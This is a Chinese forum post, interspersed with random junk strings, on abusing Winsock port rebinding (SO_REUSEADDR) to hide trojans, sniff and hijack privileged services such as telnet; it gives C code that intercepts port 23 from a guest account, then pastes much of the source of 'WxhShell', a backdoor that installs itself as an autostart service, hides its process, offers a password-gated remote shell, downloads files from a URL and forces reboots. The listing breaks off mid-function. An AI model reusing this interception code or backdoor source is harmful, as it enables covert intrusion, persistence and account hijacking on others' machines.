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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RUqO!s~#rY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I}_;A<U  
$':JI#  
  saddr.sin_family = AF_INET; 1wlVz#f.  
H7}g!n?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~f .y:Sbb  
6N?#b66  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3l$E8?[Zwi  
$8Ig&k|~8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 eX@ v7i,}  
wePI*."]  
  这意味着什么?意味着可以进行如下的攻击: \*Ts)EW  
%fBP:5%K  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R qn WtE  
!"`Jqs  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FN>L7 *,0  
drbe#FObX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {hM"TO7\  
5 >'66gZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  aDN.gM S  
&jt02+Hj'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PP],HB+*[  
jmSt?M0.xV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~Po\ En  
]W+)ee|D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *q}FV2  
lQh~Q<[ge  
  #include s:3aRQ%  
  #include q?(A!1(u  
  #include (x}A_ i  
  #include    z1kBNOr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A 0 S8Dh$  
  int main() j{)fC]8H  
  { 7,f:Qi@g  
  WORD wVersionRequested; CcBQo8!G  
  DWORD ret; tc"T}huypU  
  WSADATA wsaData; tB]`Hj  
  BOOL val; UE\%e9<l  
  SOCKADDR_IN saddr; vf6`s\6  
  SOCKADDR_IN scaddr; DE'Xq6#PK  
  int err; 0,:iE\  
  SOCKET s; ={\![{L  
  SOCKET sc; F ~*zC`>Y  
  int caddsize; eR7qE) h  
  HANDLE mt; P`7ojXy  
  DWORD tid;   Tc9&mKVE%(  
  wVersionRequested = MAKEWORD( 2, 2 ); >ze>Xr'm5=  
  err = WSAStartup( wVersionRequested, &wsaData ); R_t~UTfI;  
  if ( err != 0 ) { )uANmThOz  
  printf("error!WSAStartup failed!\n"); pi|\0lH6W  
  return -1; W&HF?w}s  
  } bh{E&1sLh  
  saddr.sin_family = AF_INET; a:=q8Qy  
   ek<PISlci  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \zk?$'d  
8m#}S\m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [}W^4,  
  saddr.sin_port = htons(23); -/ (DP x  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Sqp;/&Ji  
  { 37j\D1Y  
  printf("error!socket failed!\n"); (lyt"Ty  
  return -1; 6%\7.h  
  } ]`#xR *a  
  val = TRUE; X_lUD?y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p9FA_(`^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) oso1uAOfp  
  { JcvHJ0X~a  
  printf("error!setsockopt failed!\n"); A }>|tm7|  
  return -1; e3yorQ][  
  } 9%p7B~}E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9IS1.3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?$"x^=te7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kj Lsk-  
fP^W"y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LVR;&Z>j  
  { 6=Y3(#Ddt  
  ret=GetLastError(); 8]cv&d1f  
  printf("error!bind failed!\n"); N>&{Wl'y\  
  return -1; [M7iJcwt  
  } (c|$+B^*  
  listen(s,2); I,],?DQX2)  
  while(1) O+(. 29  
  { GsP@ B'  
  caddsize = sizeof(scaddr); .XV]<)<K$  
  //接受连接请求 }<5\O*kX4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +BtLyQ  
  if(sc!=INVALID_SOCKET) Xhq? 7P$3  
  { _H^^2#wc/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7.lK$J:  
  if(mt==NULL) |?;"B:0  
  { :)A.E}G  
  printf("Thread Creat Failed!\n"); Y5h)l<P>B  
  break; r 48;_4d)D  
  } *7xQp!w^  
  } {Gk}3u/  
  CloseHandle(mt); 0] :*v?  
  } n3HCd- z  
  closesocket(s); J]=aI>Ow  
  WSACleanup(); ;9!yh\\   
  return 0; T9<H%iF  
  }   Sg_-OX@f  
  DWORD WINAPI ClientThread(LPVOID lpParam) cjy0s+>>  
  { Sq?6R}q%  
  SOCKET ss = (SOCKET)lpParam; +e\:C~2f28  
  SOCKET sc; k"DQbUy0L  
  unsigned char buf[4096]; DMK"Q#Vw  
  SOCKADDR_IN saddr; 43}&w.AS  
  long num; lk+=2 6>  
  DWORD val;  eo<~1w  
  DWORD ret; i)`zKbK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8CnvvMf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JX2 |  
  saddr.sin_family = AF_INET; "b1R5(Ar  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^)C$8:@  
  saddr.sin_port = htons(23); ',J%Mv>Yf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "u,~yxYWl  
  {  jKb=Zkd  
  printf("error!socket failed!\n"); Be14$7r  
  return -1; gk_Xu  
  } PTI'N%W  
  val = 100; [hv3o0".  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [r/Seg"  
  { *\~kjZ 3  
  ret = GetLastError(); d'g{K]=tF  
  return -1; &' Nk2{  
  } oVuj020  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _>?8eC]4a  
  { rY_C3;B  
  ret = GetLastError(); v\?\(Y55Y  
  return -1; <8z[,X}bM  
  } ! 4^L $  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) = VX<eV  
  { 2h? r![  
  printf("error!socket connect failed!\n"); -) v p&-  
  closesocket(sc); f@. Q%+!4  
  closesocket(ss); _I70qz8  
  return -1; 5@&i:vs5y  
  } C5lD Hw[CX  
  while(1) nu<!2xs,  
  { Kp=3\)&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &LxzAL,3!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 PK`(qK9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k s`  
  num = recv(ss,buf,4096,0); %Pvb>U(Xs  
  if(num>0) I\4`90uBN  
  send(sc,buf,num,0); Nxs%~ wZ   
  else if(num==0) Z FrXw+  
  break; WO*WAP)n  
  num = recv(sc,buf,4096,0); ?KuJs9SM  
  if(num>0) I3[RaZ2z{  
  send(ss,buf,num,0); A[,"jh  
  else if(num==0) KZ >"L  
  break; ;eEtdoy  
  } Nwu Be:"@  
  closesocket(ss); 9kg>)ty@  
  closesocket(sc); ,HO/Q6;N  
  return 0 ; _.8]7f`*Gc  
  } <.%8j\j(  
C%7)sLWjJS  
=/'*(\C2  
========================================================== Pg8=  
?}Ptb&Vk(  
下边附上一个代码,,WXhSHELL v5bb|o[{K  
sL`D}_:  
========================================================== cz~11j#  
EsxTBg  
#include "stdafx.h" tZBE& :l  
PaI63 !  
#include <stdio.h> exN#!& ;  
#include <string.h> p~;z"Z  
#include <windows.h> &$Ip$"H  
#include <winsock2.h> R/FV'qy]  
#include <winsvc.h> 5+"8q#X$  
#include <urlmon.h> r|BKp,u9  
_~&v s<  
#pragma comment (lib, "Ws2_32.lib") >oYwzK0&  
#pragma comment (lib, "urlmon.lib") WjxBNk'f  
Fm~}A4  
#define MAX_USER   100 // 最大客户端连接数 O.f3 (e!  
#define BUF_SOCK   200 // sock buffer 3'uES4+r  
#define KEY_BUFF   255 // 输入 buffer ;8Q?`=a  
_BaS\U%1(  
#define REBOOT     0   // 重启 ]`U?<9~Ob  
#define SHUTDOWN   1   // 关机 X \ZUt >  
@9 tv N}  
#define DEF_PORT   5000 // 监听端口 05zdy-Fb  
]-OkW.8d1  
#define REG_LEN     16   // 注册表键长度 Os]M$c_88  
#define SVC_LEN     80   // NT服务名长度 xH-k~#  
T1 .@Tbbt  
// 从dll定义API lFt{:HfX-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^Iq.0E9_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .y/?~+N^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~OfKn1D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'B:De"_(N  
0n^j 50Yq  
// wxhshell配置信息 3ZZI1_j  
struct WSCFG { K`2DhJC  
  int ws_port;         // 监听端口 ozwqK oE  
  char ws_passstr[REG_LEN]; // 口令 U^S:2  
  int ws_autoins;       // 安装标记, 1=yes 0=no +@v} (  
  char ws_regname[REG_LEN]; // 注册表键名 E&v-(0  
  char ws_svcname[REG_LEN]; // 服务名 LM`#S/h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }+3~y'k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [$+61n}.12  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 88U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i<![i5uAI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cne[-E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 : P2;9+v  
6-}9m7#Y  
}; n-WvIy  
{(Z1JoSl  
// default Wxhshell configuration :/Zh[Q@EG  
struct WSCFG wscfg={DEF_PORT, J(L$pIM  
    "xuhuanlingzhe", |%9~W^b  
    1, zj4JWUM2  
    "Wxhshell", | mX8fRh  
    "Wxhshell", F.hC%Ncu  
            "WxhShell Service", "fwuvT 1  
    "Wrsky Windows CmdShell Service", !%=k/|#  
    "Please Input Your Password: ", /iy/2x28>  
  1, W5 }zJ)x  
  "http://www.wrsky.com/wxhshell.exe", \NRRN eu|  
  "Wxhshell.exe" 8i"fhN3?Y  
    }; bZJiubBRI  
Su^Z{ Ud`  
// 消息定义模块 CQ ?|=cN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =="SW"vNi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }zi6F.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -ybupUJcbv  
char *msg_ws_ext="\n\rExit."; n9ih^H  
char *msg_ws_end="\n\rQuit."; 6<R U~Gh  
char *msg_ws_boot="\n\rReboot..."; p`0Tpgi  
char *msg_ws_poff="\n\rShutdown..."; M,P_xkLp  
char *msg_ws_down="\n\rSave to "; kM@,^`&  
Nq8A vBwo4  
char *msg_ws_err="\n\rErr!"; I-I5^s  
char *msg_ws_ok="\n\rOK!"; .l!Z=n|  
fC[gu$f][  
char ExeFile[MAX_PATH]; rL/+`H  
int nUser = 0; P7!Sc  
HANDLE handles[MAX_USER]; 5irOK9hK  
int OsIsNt; ?T&D@Ohsx  
}I0^nv1  
SERVICE_STATUS       serviceStatus; SQ[}]Tm;n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Bf.RYLsh6  
s Y,3  
// 函数声明 TfOZ>uR"g  
int Install(void); ){Y2TWW&0  
int Uninstall(void); nK[$ID  
int DownloadFile(char *sURL, SOCKET wsh); 6Xa2A 6  
int Boot(int flag); !~#31kL&  
void HideProc(void); 1*"Uc!7.%  
int GetOsVer(void); A{k@V!A%  
int Wxhshell(SOCKET wsl);  S_atEmQ  
void TalkWithClient(void *cs); ,$Mw/fA  
int CmdShell(SOCKET sock); aap:~F{]X  
int StartFromService(void); <5 +?&i  
int StartWxhshell(LPSTR lpCmdLine); @ NF8?>!  
,^(T^ -  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ME(!xI//JZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K:0RP?L  
*w;f\zW  
// 数据结构和表定义 `@90b 4u  
SERVICE_TABLE_ENTRY DispatchTable[] = N=kACEo  
{ LLMkv!%D  
{wscfg.ws_svcname, NTServiceMain}, lZ|Ao0(  
{NULL, NULL} 9D@Ez"xv  
}; 0-FbV,:;  
(?Yz#Yf  
// 自我安装 e1#}/U  
int Install(void) OCd[P1Y]  
{ &&JMw6 &[`  
  char svExeFile[MAX_PATH]; TF'ssD  
  HKEY key; 3ySnAAG  
  strcpy(svExeFile,ExeFile); Vo\d&}Q  
gyPF!"!5dq  
// 如果是win9x系统,修改注册表设为自启动 H/b(dbs  
if(!OsIsNt) { #X)s=Y&5!T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %w@(V([(c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1osI~oNZ  
  RegCloseKey(key);  i J\#su  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $6_J` 7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q*T+8 O  
  RegCloseKey(key); ?vhW`LXNB  
  return 0; '? d[ ip  
    }  j>6{PDaT  
  } HdGy$m`  
} T57S!CJ^$5  
else { %VdJ<=@  
XdB8Oj~~  
// 如果是NT以上系统,安装为系统服务 x&;SLEM   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a+X X?uN{  
if (schSCManager!=0) 0I.7I#'3O  
{ jQc0_F\  
  SC_HANDLE schService = CreateService ,+JAwII>O  
  ( }/=VnCfU  
  schSCManager, <%!@cE+y  
  wscfg.ws_svcname, Oz+>I ^Q  
  wscfg.ws_svcdisp, ,e;(\t:  
  SERVICE_ALL_ACCESS, v/kYyz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n>@(gDq  
  SERVICE_AUTO_START, $`uL^ hlj]  
  SERVICE_ERROR_NORMAL, FNUue  
  svExeFile, 8\[6z0+;  
  NULL, k`N)-`O7  
  NULL, 4Fnr8 r8W  
  NULL, (j'[t  
  NULL, [1E u6X6  
  NULL b[/-lNrc  
  ); Pp}j=$&j\  
  if (schService!=0) 5VISP4a  
  { j/9'L^]  
  CloseServiceHandle(schService); !#>{..}}3  
  CloseServiceHandle(schSCManager); n\d-^ml  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zW\&q!`IRP  
  strcat(svExeFile,wscfg.ws_svcname); P2lj#aQLS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :#+VH_%N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s:Memvf  
  RegCloseKey(key); ,3x3&c  
  return 0; Q|;8\5  
    } Peb;XI  
  } kMUjSa~\  
  CloseServiceHandle(schSCManager); Jz3u r)|  
} Iz VtiX  
} M[SWMVN{  
LA1UD+S  
return 1;  Qq>M}  
} @dw0oRF  
Z:5e:M  
// 自我卸载 b]@^SN9  
int Uninstall(void) )/Ul" QF  
{ q&7J1  
  HKEY key; 3PPN_Z  
]x?`&f8i  
if(!OsIsNt) { B!6?+< J"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }ufH![|[r  
  RegDeleteValue(key,wscfg.ws_regname); =lA*?'kd  
  RegCloseKey(key); tvavI9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y1z4qSeM  
  RegDeleteValue(key,wscfg.ws_regname); R0 AVAUG  
  RegCloseKey(key); aNw8][  
  return 0; e0qU2  
  } cjp H hoW  
} !Yd7&#s  
} SCZtHEl9  
else { % ,1bh  
J1KV?aR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )BmK'H+l  
if (schSCManager!=0) }HRM6fR1S  
{  1ti+ Q0~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); { LZ` _1D  
  if (schService!=0) dJ#mk5= "  
  { .Xqe]cax%  
  if(DeleteService(schService)!=0) { *`7cvt5]IM  
  CloseServiceHandle(schService); t&*X~(Yb!  
  CloseServiceHandle(schSCManager); K`Vi5hR~c  
  return 0; <#k(g\/R  
  } h0_od/D1r  
  CloseServiceHandle(schService); N D`?T &PK  
  } 1<IF@__  
  CloseServiceHandle(schSCManager); Yi:@>A<#  
} jv_z%`  
} /N>f#:}  
.?|pv}V  
return 1; @|BaZq,g  
} *.qm+#8W  
cdY|z]B  
// 从指定url下载文件 js^+{~  
int DownloadFile(char *sURL, SOCKET wsh) V $Y=JK@  
{ ]6#bp,  
  HRESULT hr; %zsY=qT  
char seps[]= "/"; 1g<jr.  
char *token; V'alzw7#  
char *file; xL&M8:  
char myURL[MAX_PATH]; m?*}yM  
char myFILE[MAX_PATH]; T8'm{[C  
,E ]vM&  
strcpy(myURL,sURL); 'ONCz  
  token=strtok(myURL,seps); awu18(;J  
  while(token!=NULL) 7\.{O$Q  
  { zp.-=)D4e  
    file=token; ZMa@/\pf1  
  token=strtok(NULL,seps); pg0Sq9qCN  
  } X3mHg5zt  
xfegi$  
GetCurrentDirectory(MAX_PATH,myFILE); VO u/9]a  
strcat(myFILE, "\\"); L"[2[p  
strcat(myFILE, file); yVZLZLm  
  send(wsh,myFILE,strlen(myFILE),0); z.Y`"B'j`  
send(wsh,"...",3,0); 1/\JJ\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  VB&` S+-  
  if(hr==S_OK) j3=%J5<  
return 0; rvEX ;8TS  
else {#U 3A_y  
return 1; j;TXZ`|(  
L*(Sh2=_  
} ?q{HS&k  
M1HGXdN*B  
// 系统电源模块 -_[ZRf?^  
int Boot(int flag) xwSi.~.  
{ Ie"eqO!  
  HANDLE hToken; x u<oQBt  
  TOKEN_PRIVILEGES tkp; qe[P'\]L  
[%LIW%t|  
  if(OsIsNt) { OrP i ("/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M4}b l h#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3sD/4 ?  
    tkp.PrivilegeCount = 1; 8{4SaT.-Rm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `=%mU/v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [6cF#_)*  
if(flag==REBOOT) { /< -+*79G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qbx}9pp}g  
  return 0; qw<~v?{|C  
} 5}Z_A?gy  
else { 1c4@qQyo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~{cG"  
  return 0; D}T+X ;u)K  
} 4{6XZ_J1  
  } | Kw}S/F  
  else { M$Or|HTG  
if(flag==REBOOT) { "30R%oL]=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _z6" C8W  
  return 0; kO}Q OL4  
} A}W}H;8x  
else { HDQH7Bs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z Tzh[2u*  
  return 0; AGMrBd|J{  
} q?$<{Z"  
} IA~wmOF  
"w&G1kw5I  
return 1; A(1d q  
} ^kh@AgG^  
5pz(6gA  
// win9x进程隐藏模块 "t&_!Rm  
void HideProc(void) ~8tb^  
{ f9a_:]F  
3-4CGSX;X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i1 ^#TC$x  
  if ( hKernel != NULL ) V9/PkuT  
  { ,}23  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h e1=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d)'J:  
    FreeLibrary(hKernel); }0 b[/ZwQ  
  } I%tJLdL  
-+Gd<U$  
return; ~L?q.*q  
} "zx4k8  
vN$j @h .  
// 获取操作系统版本 ^nN@@ \-5  
int GetOsVer(void) A5kz(pj  
{ o06vC  
  OSVERSIONINFO winfo; 50HRgoP5Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +&qj`hA-b  
  GetVersionEx(&winfo); U( (F<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |n*<H|  
  return 1; >*e,+ok  
  else 7yFV.#K3O  
  return 0; <69Uq8GI  
} H-'~c \)  
HK4 *+  
// 客户端句柄模块 m)"wd$O^w  
int Wxhshell(SOCKET wsl) m8NKuhu  
{ lAA s/  
  SOCKET wsh; (C60HbL  
  struct sockaddr_in client; SJsRHQ  
  DWORD myID; HWxwG'EEY,  
G;yh$n<"  
  while(nUser<MAX_USER) +Q!  
{ f ,WAl\  
  int nSize=sizeof(client); 6\GL|#G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ylPDM7Ka  
  if(wsh==INVALID_SOCKET) return 1; g4NbzU[I  
6rg?0\A<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Av"^uevfs  
if(handles[nUser]==0) s2;b-0  
  closesocket(wsh); * v W#XDx  
else &M2SqeR62;  
  nUser++; W=ar&O~}n  
  } HZEDr}RN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i2Cw#x0s  
E'wJ+X9 +  
  return 0; =6^phZ(  
} mQ qv{1  
:Miri_l  
// 关闭 socket C">w3#M%  
void CloseIt(SOCKET wsh) $9Asr07  
{ CH4 ~9mmE  
closesocket(wsh); oRQJ YH  
nUser--; *g~\lFX,u  
ExitThread(0);  k.("<)  
} U3 y-cgE  
bj`mQMC  
// 客户端请求句柄 0OAHD'  
void TalkWithClient(void *cs) ^*A8 NdaB  
{ M qG`P  
Ed+"F{!eQ  
  SOCKET wsh=(SOCKET)cs; xIb^x=|h  
  char pwd[SVC_LEN]; xv:VW<  
  char cmd[KEY_BUFF]; bL"!z"NA  
char chr[1]; QGpAG#M9?  
int i,j; YNV4'  
eV)'@ 8p  
  while (nUser < MAX_USER) { Vi o ~2  
;Uv/#"r  
if(wscfg.ws_passstr) { w] =q>p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hA!kkNqV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %?WR 9}KU0  
  //ZeroMemory(pwd,KEY_BUFF); ~L7@,d:  
      i=0; !=yNj6_f  
  while(i<SVC_LEN) { :^[HDI-[2  
ne (zGJd  
  // 设置超时 ]| PDsb"e  
  fd_set FdRead; q|_t=YM@  
  struct timeval TimeOut; 3HI- G.]hC  
  FD_ZERO(&FdRead); S#wy+*  
  FD_SET(wsh,&FdRead); "0edk"hk  
  TimeOut.tv_sec=8; Obb"#W@3  
  TimeOut.tv_usec=0; rjLPX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (;.wsz &K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sN%#e+(=  
@;K-@*k3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dqu+-43I|  
  pwd=chr[0]; ;"N4Yflz  
  if(chr[0]==0xd || chr[0]==0xa) { ,9@JBV%_  
  pwd=0; +dgHl_,i  
  break; GL<u#[  
  } |1[3RnG S  
  i++; .\6q\7Ej  
    } xq<3*Bcw  
5y`n8. (?  
  // 如果是非法用户,关闭 socket AZgeu$:7p<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @V>BG8Y  
} o&Vti"fpC  
KqI<#hUl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :psP|7%|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |2t1m 6\j  
tW)K pX  
while(1) { *@1(!A  
5zf bI  
  ZeroMemory(cmd,KEY_BUFF); ^/V>^9CZ  
+ <4gJoI  
      // 自动支持客户端 telnet标准   {k"t`uo_  
  j=0; .%x%b6EI  
  while(j<KEY_BUFF) { :{Mr~Co*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V }?MP-.c  
  cmd[j]=chr[0]; Am @o}EC  
  if(chr[0]==0xa || chr[0]==0xd) { _< LJQ  
  cmd[j]=0; j'QPJ(`~1l  
  break; ^S%xaA9  
  } nd4Z5=X  
  j++; gL(_!mcwu  
    } ;.'\8!j  
J\%SAit@  
  // 下载文件 FBP'AL|  
  if(strstr(cmd,"http://")) { V<&^zIJUR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LuE0Hb"S8  
  if(DownloadFile(cmd,wsh)) ][TA7pDPV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W Yo>Md 8  
  else 8W"Xdv{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5>!I6[{  
  } D_)N!,i  
  else { B"Hz)-MW  
<To$Hb,NP  
    switch(cmd[0]) { _fM=J+  
  /)*si  
  // 帮助 &WJ;s*  
  case '?': { C-sFTf7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m 88(f2Ch  
    break; nJ2910"<  
  } ]MmFtdvE  
  // 安装 @ QfbIP9  
  case 'i': { n3_| # 1Qu  
    if(Install()) ys- w0H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pqDlg  
    else iit 5IV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gHox>r6.A  
    break; q"-+`;^7(-  
    } d04fj/B  
  // 卸载 08_<G`r  
  case 'r': { 5 D[`nU}  
    if(Uninstall()) wJg&OQc9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,?c=v`e  
    else lGXr-K?+Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9/PX~j9O?  
    break; 'NN3XyD  
    } p?' F$Wz  
  // 显示 wxhshell 所在路径 *t bgIW+h  
  case 'p': { rI'kZ0&  
    char svExeFile[MAX_PATH]; +HF*X~},i  
    strcpy(svExeFile,"\n\r"); LM*m> n*  
      strcat(svExeFile,ExeFile); ')Qb,#/,%  
        send(wsh,svExeFile,strlen(svExeFile),0); p]Q(Z  
    break; F> b<t.yV  
    } 98Im/v  
  // 重启 l:(?|1_  
  case 'b': { ge[&og/$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (Eo#oX  
    if(Boot(REBOOT)) LDbo=w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A&C?|M? M  
    else { v03 ^  
    closesocket(wsh); oRHWb_$"  
    ExitThread(0); i)[~]D.EH8  
    } r?R!/`f  
    break; z<u@::  
